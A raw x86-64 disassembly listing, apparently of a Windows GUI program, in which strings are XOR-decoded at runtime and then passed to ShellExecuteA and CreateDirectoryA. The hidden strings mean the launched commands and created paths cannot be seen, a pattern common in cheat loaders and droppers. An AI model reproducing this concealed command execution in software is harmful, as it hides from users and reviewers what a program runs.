mov qword [rax + 0x18], 0xf
mov byte [rax], 0
add qword [0x140101140], 0x20
jmp 0x140003e0d
mov r8, rax
call fcn.140006e00
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140003e4b
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
movdqa xmm6, xmmword [0x140060e70]
mov dword [rbp - 0x30], 0x13682ee6
mov dword [rbp - 0x2c], 0x9614dc7e
mov eax, dword [r12 + r14]
cmp dword [0x140101290], eax
jle 0x140003eb7
lea rcx, [0x140101290]
call fcn.140050e7c
cmp dword [0x140101290], 0xffffffff
jne 0x140003eb7
mov word [0x140101308], 0x191
movups xmmword [0x1401012f0], xmm6
movsd xmm0, qword [rbp - 0x30]
movsd qword [0x140101300], xmm0
lea rcx, [0x1400529f0]
call fcn.140051158
lea rcx, [0x140101290]
call fcn.140050e10
cmp byte [0x140101309], 0
je 0x140003f7a
xor byte [0x1401012f0], 0x91
xor byte [0x1401012f1], 0x57
xor byte [0x1401012f2], 0x37
xor byte [0x1401012f3], 0x7b
xor byte [0x1401012f4], 0x1f
xor byte [0x1401012f5], 0xbf
xor byte [0x1401012f6], 0x7f
xor byte [0x1401012f7], 0xe5
xor byte [0x1401012f8], 0x91
xor byte [0x1401012f9], 0x57
xor byte [0x1401012fa], 0x37
xor byte [0x1401012fb], 0x7b
xor byte [0x1401012fc], 0x1f
xor byte [0x1401012fd], 0xbf
xor byte [0x1401012fe], 0x7f
xor byte [0x1401012ff], 0xe5
xor byte [0x140101300], 0x91
xor byte [0x140101301], 0x57
xor byte [0x140101302], 0x37
xor byte [0x140101303], 0x7b
xor byte [0x140101304], 0x1f
xor byte [0x140101305], 0xbf
xor byte [0x140101306], 0x7f
xor byte [0x140101307], 0xe5
xor byte [0x140101308], 0x91
mov byte [0x140101309], 0
mov eax, dword [r12 + r14]
cmp dword [0x140101338], eax
jle 0x140003fc6
lea rcx, [0x140101338]
call fcn.140050e7c
cmp dword [0x140101338], 0xffffffff
jne 0x140003fc6
mov dword [0x140101256], 0x11f1552
mov word [0x140101254], 0x27fe
lea rcx, [0x140052a10]
call fcn.140051158
lea rcx, [0x140101338]
call fcn.140050e10
cmp byte [0x140101259], 0
je 0x140003ff9
xor byte [0x140101254], 0x91
xor byte [0x140101255], 0x57
xor byte [0x140101256], 0x37
xor byte [0x140101257], 0x7b
xor byte [0x140101258], 0x1f
mov byte [0x140101259], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x1401012f0]
lea rdx, [0x140101254]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140003b5f
call fcn.140051178
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140004078
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004072
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004072
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400040b7
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400040f6
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140004134
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000412f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000412f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x14000418d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004188
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004188
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
mov dword [rbp - 0x40], 0x42c80000
mov dword [rbp - 0x3c], 0x41f00000
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov eax, dword [r12 + rbx]
cmp dword [0x140101370], eax
jle 0x14000420e
lea rcx, [0x140101370]
call fcn.140050e7c
cmp dword [0x140101370], 0xffffffff
jne 0x14000420e
mov word [0x140101355], 0x171
mov dword [0x140101348], 0x61ad24ae
mov dword [0x14010134c], 0x7d9316d0
mov dword [0x140101350], 0x62a727a2
mov byte [0x140101354], 0xcb
lea rcx, [0x1400529a0]
call fcn.140051158
lea rcx, [0x140101370]
call fcn.140050e10
cmp byte [0x140101356], 0
je 0x140004280
xor byte [0x140101348], 0xcd
xor byte [0x140101349], 0x4b
xor byte [0x14010134a], 0xc3
xor byte [0x14010134b], 7
xor byte [0x14010134c], 0xb9
xor byte [0x14010134d], 0x71
xor byte [0x14010134e], 0xb3
xor byte [0x14010134f], 0x1b
xor byte [0x140101350], 0xcd
xor byte [0x140101351], 0x4b
xor byte [0x140101352], 0xc3
xor byte [0x140101353], 7
xor byte [0x140101354], 0xb9
xor byte [0x140101355], 0x71
mov byte [0x140101356], 0
lea rdx, [rbp - 0x40]
lea rcx, [0x140101348]
call fcn.140048f90
test al, al
je 0x1400045e5
mov eax, dword [r12 + rbx]
cmp dword [0x1401013ac], eax
jle 0x1400042f5
lea rcx, [0x1401013ac]
call fcn.140050e7c
cmp dword [0x1401013ac], 0xffffffff
jne 0x1400042f5
mov word [0x1401012a1], 0x1e3
mov dword [0x140101298], 0xe9e7d946
mov dword [0x14010129c], 0x94b688e3
mov byte [0x1401012a0], 0x59
lea rcx, [0x140052980]
call fcn.140051158
lea rcx, [0x1401013ac]
call fcn.140050e10
cmp byte [0x1401012a2], 0
je 0x14000434b
xor byte [0x140101298], 5
xor byte [0x140101299], 0xe3
xor byte [0x14010129a], 0xbb
xor byte [0x14010129b], 0xaf
xor byte [0x14010129c], 0x8f
xor byte [0x14010129d], 0xe7
xor byte [0x14010129e], 0xc1
xor byte [0x14010129f], 0xed
xor byte [0x1401012a0], 5
xor byte [0x1401012a1], 0xe3
mov byte [0x1401012a2], 0
xor edx, edx
lea rcx, [0x140101298]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x140060e40]
mov eax, dword [r12 + rbx]
cmp dword [0x1401012e0], eax
jle 0x1400043ab
lea rcx, [0x1401012e0]
call fcn.140050e7c
cmp dword [0x1401012e0], 0xffffffff
jne 0x1400043ab
mov word [0x140101250], 0x137
movups xmmword [0x140101240], xmm6
lea rcx, [0x140052960]
call fcn.140051158
lea rcx, [0x1401012e0]
call fcn.140050e10
cmp byte [0x140101251], 0
je 0x140004430
xor byte [0x140101240], 0x37
xor byte [0x140101241], 0x71
xor byte [0x140101242], 0xdb
not byte [0x140101243]
xor byte [0x140101244], 0x29
xor byte [0x140101245], 0xdf
xor byte [0x140101246], 0x53
xor byte [0x140101247], 0xd
xor byte [0x140101248], 0x37
xor byte [0x140101249], 0x71
xor byte [0x14010124a], 0xdb
not byte [0x14010124b]
xor byte [0x14010124c], 0x29
xor byte [0x14010124d], 0xdf
xor byte [0x14010124e], 0x53
xor byte [0x14010124f], 0xd
xor byte [0x140101250], 0x37
mov byte [0x140101251], 0
xor edx, edx
lea rcx, [0x140101240]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x140060d80]
mov eax, dword [r12 + rbx]
cmp dword [0x140101344], eax
jle 0x140004490
lea rcx, [0x140101344]
call fcn.140050e7c
cmp dword [0x140101344], 0xffffffff
jne 0x140004490
mov word [0x1401012b8], 0x1ed
movups xmmword [0x1401012a8], xmm6
lea rcx, [0x140052930]
call fcn.140051158
lea rcx, [0x140101344]
call fcn.140050e10
cmp byte [0x1401012b9], 0
je 0x14000451b
xor byte [0x1401012a8], 0xed
xor byte [0x1401012a9], 0x11
xor byte [0x1401012aa], 0xf3
xor byte [0x1401012ab], 0x75
xor byte [0x1401012ac], 0xc1
xor byte [0x1401012ad], 0x5f
xor byte [0x1401012ae], 0xb
xor byte [0x1401012af], 0x73
xor byte [0x1401012b0], 0xed
xor byte [0x1401012b1], 0x11
xor byte [0x1401012b2], 0xf3
xor byte [0x1401012b3], 0x75
xor byte [0x1401012b4], 0xc1
xor byte [0x1401012b5], 0x5f
xor byte [0x1401012b6], 0xb
xor byte [0x1401012b7], 0x73
xor byte [0x1401012b8], 0xed
mov byte [0x1401012b9], 0
mov eax, dword [r12 + rbx]
cmp dword [0x14010139c], eax
jle 0x140004577
lea rcx, [0x14010139c]
call fcn.140050e7c
cmp dword [0x14010139c], 0xffffffff
jne 0x140004577
mov word [0x140101287], 0x173
mov dword [0x140101280], 0x19836988
mov word [0x140101284], 0x2dae
mov byte [0x140101286], 0x6e
lea rcx, [0x140052950]
call fcn.140051158
lea rcx, [0x14010139c]
call fcn.140050e10
cmp byte [0x140101288], 0
je 0x1400045bf
xor byte [0x140101280], 0xed
xor byte [0x140101281], 0x11
xor byte [0x140101282], 0xf3
xor byte [0x140101283], 0x75
xor byte [0x140101284], 0xc1
xor byte [0x140101285], 0x5f
xor byte [0x140101286], 0xb
xor byte [0x140101287], 0x73
mov byte [0x140101288], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x1401012a8]
lea rdx, [0x140101280]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp - 0x40], 0x42c80000
mov dword [rbp - 0x3c], 0x41f00000
mov eax, dword [r12 + rbx]
cmp dword [0x1401013b0], eax
jle 0x14000463f
lea rcx, [0x1401013b0]
call fcn.140050e7c
cmp dword [0x1401013b0], 0xffffffff
jne 0x14000463f
mov dword [0x14010125e], 0x1657d00
mov word [0x14010125c], 0xa9a0
lea rcx, [0x140052910]
call fcn.140051158
lea rcx, [0x1401013b0]
call fcn.140050e10
cmp byte [0x140101261], 0
je 0x140004672
xor byte [0x14010125c], 0xc5
xor byte [0x14010125d], 0xd1
xor byte [0x14010125e], 0x69
xor byte [0x14010125f], 9
xor byte [0x140101260], 0x65
mov byte [0x140101261], 0
lea rdx, [rbp - 0x40]
lea rcx, [0x14010125c]
call fcn.140048f90
test al, al
je 0x14000468f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140019e60
call fcn.140011df0
mov rcx, qword [0x1401010d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x140060c78]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov dword [rbp - 0x40], 0x43ff0000
mov dword [rbp - 0x3c], 0x43160000
mov eax, dword [r12 + rbx]
cmp dword [0x1401012bc], eax
jle 0x14000476e
lea rcx, [0x1401012bc]
call fcn.140050e7c
cmp dword [0x1401012bc], 0xffffffff
jne 0x14000476e
mov dword [0x14010133e], 0x18dae92
mov word [0x14010133c], 0x847f
lea rcx, [0x1400528f0]
call fcn.140051158
lea rcx, [0x1401012bc]
call fcn.140050e10
cmp byte [0x140101341], 0
je 0x1400047a1
xor byte [0x14010133c], 0x13
xor byte [0x14010133d], 0xeb
xor byte [0x14010133e], 0xf5
xor byte [0x14010133f], 0xdd
xor byte [0x140101340], 0x8d
mov byte [0x140101341], 0
lea rdx, [rbp - 0x40]
lea rcx, [0x14010133c]
call fcn.140011d30
mov rdi, qword [0x140101140]
mov rbx, qword [0x140101138]
cmp rbx, rdi
je 0x1400047df
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400047d1
mov rcx, qword [rbx]
call fcn.140048670
add rbx, 0x20
cmp rbx, rdi
jne 0x1400047c4
call fcn.140011df0
call fcn.140017f50
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140050df0
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret